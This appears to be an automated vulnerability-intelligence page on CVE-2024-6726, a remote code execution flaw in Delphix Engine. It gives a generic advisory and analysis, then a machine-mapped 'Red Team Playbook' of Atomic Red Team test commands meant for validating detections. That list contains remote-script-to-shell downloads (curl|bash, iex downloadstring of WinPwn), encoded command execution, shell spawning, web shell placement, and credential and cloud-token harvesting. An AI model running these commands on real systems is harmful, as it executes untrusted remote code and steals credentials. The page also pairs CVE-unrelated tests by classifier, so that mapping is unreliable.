CVE-2024-6726
Overview
The vulnerability in Delphix Engine is a code injection flaw classified under CWE-94, specifically involving improper handling of user-supplied input that is executed as code. This occurs within components responsible for processing dynamic commands or scripts, where insufficient validation allows injection of arbitrary code. The affected feature is the engine's command execution interface prior to Release 25.0.0.0.
Vulnerability Description
Versions of Delphix Engine prior to Release 25.0.0.0 contain a flaw which results in Remote Code Execution (RCE).
Impact
An attacker with authenticated access and network connectivity can execute arbitrary code remotely on the Delphix Engine, gaining control over the affected system. This can lead to unauthorized data access, manipulation, or disruption of service. The attack requires low complexity (AC:L) and limited privileges (PR:L) but does not require user interaction (UI:N). The confidentiality, integrity, and availability of the system are fully compromised (C:H/I:H/A:H) upon successful exploitation.
Solution
Delphix has addressed this vulnerability in Release 25.0.0.0 of the Delphix Engine. Administrators should upgrade to this version or later to remediate the issue. Detailed patch instructions and advisory information are available at https://portal.perforce.com/s/detail/a91PA000001SUDtYAO. No alternative workarounds are documented; applying the vendor-provided update is required to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in earlier versions of the Delphix Engine is characterized by a critical flaw that allows for Remote Code Execution (RCE). This type of vulnerability arises when an attacker can execute arbitrary code on a remote system, typically due to improper validation of user input or insufficient access controls. In this case, the flaw can be exploited by sending specially crafted requests to the Delphix Engine, which may lead to unauthorized actions being performed on the server. The underlying issue often stems from inadequate security measures in the software’s architecture, allowing attackers to bypass security protocols and gain control over the system.
Attack vectors for this vulnerability are varied and can be executed through multiple means. An attacker could leverage network access to the Delphix Engine, using techniques such as sending malicious payloads via HTTP requests or exploiting weaknesses in the API. Given that the Delphix Engine is often deployed in environments where sensitive data is processed, an attacker could target organizations that utilize this technology for data virtualization and management. Once the vulnerability is exploited, the attacker may execute arbitrary code, leading to potential data breaches, system manipulation, or even lateral movement within the network to compromise additional systems.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Delphix Engine for critical data operations. The potential for Remote Code Execution means that an attacker could gain full control over the affected systems, leading to unauthorized access to sensitive data, disruption of services, and significant financial losses. The business risks associated with such an exploit include reputational damage, regulatory penalties, and the costs associated with incident response and recovery. Moreover, organizations may face legal ramifications if customer data is compromised, further exacerbating the financial impact.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the Delphix Engine to the latest version is crucial, as patches are typically released to address known vulnerabilities. Additionally, implementing network segmentation can help limit exposure by restricting access to the Delphix Engine from untrusted networks. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual activity that may indicate an attempted exploit. Conducting regular security assessments and penetration testing can further enhance an organization’s ability to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the Remote Code Execution vulnerability in earlier versions of the Delphix Engine poses a serious threat to organizations that utilize this technology. The potential for exploitation through various attack vectors highlights the need for robust security practices and proactive measures. By understanding the technical details of the vulnerability, recognizing the associated risks, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the significant threats posed by such vulnerabilities in their operational environments.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6726 |
| portal.perforce.com |
GitHub CVE
|
https://portal.perforce.com/s/detail/a91PA000001SUDtYAO |